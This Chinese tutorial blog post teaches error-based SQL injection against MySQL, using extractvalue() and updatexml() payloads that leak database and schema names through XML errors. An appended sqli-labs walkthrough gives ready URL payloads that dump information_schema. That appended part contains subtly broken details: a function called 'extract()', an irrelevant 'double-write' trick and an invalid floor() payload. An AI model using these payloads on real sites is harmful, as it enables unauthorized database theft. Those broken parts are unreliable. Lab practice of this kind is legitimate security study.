学习基于extractvalue()和updatexml()的报错注入

extractvalue()

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))


使用concat()拼接 ‘  /  ‘ 效果相同,

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

这里在’anything’中查询不到 位置是 /database()的内容,

但也没有语法错误,不会报错,下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

这里查询前5位示意:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))


updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))


报错方式相同:

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

同样是32位查询。

转载指明出处

文章同步到我的博客: http://119.23.249.120/archives/256
基于phpstudy搭建sqllib靶场是一个利用phpstudy软件sql-1ib靶场环境来学习练习SQL注入技术的过程。这里提供一个大致的步骤指南,但请注意,进行SQL注入实验应在合法的测试环境中进行,避免进行非法的渗透测试。 1. 安装phpstudy软件,并启动服务。 2. 下载sqllib靶场,根据其文档或说明文件进行安装配置。 3. 配置好靶场后,启动web服务。 接下来,我们将针对不同的关卡介绍如何使用不同的SQL注入技术: **less1 less2 (使用extract()函数报错注入)** 1. 找到可能存在SQL注入的输入点,例如表单提交或URL参数。 2. 尝试注入一些基本的SQL注入代码,比如单引号(')来检查是否存在SQL注入漏洞。 3. 如果存在注入点,使用extract()函数配合双写技术来触发报错。例如,如果id参数可控,可以尝试如下的URL: ``` ?id=1' union select 1, extractvalue(1,concat(0x7e,database()))# ?id=1' union select 1, extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))# ``` **less-5 (使用floor()函数报错注入)** 1. 同样找到可能存在SQL注入的输入点。 2. 使用floor()函数一些技巧来构造报错注入。例如: ``` ?id=1' and floor(rand(0) * (select group_concat(schema_name) from information_schema.schemata))# ``` **less-6 (使用updatexml()函数报错注入)** 1. 确定可以注入的点。 2. 利用updatexml()函数来触发报错。例如: ``` ?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)# ```
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值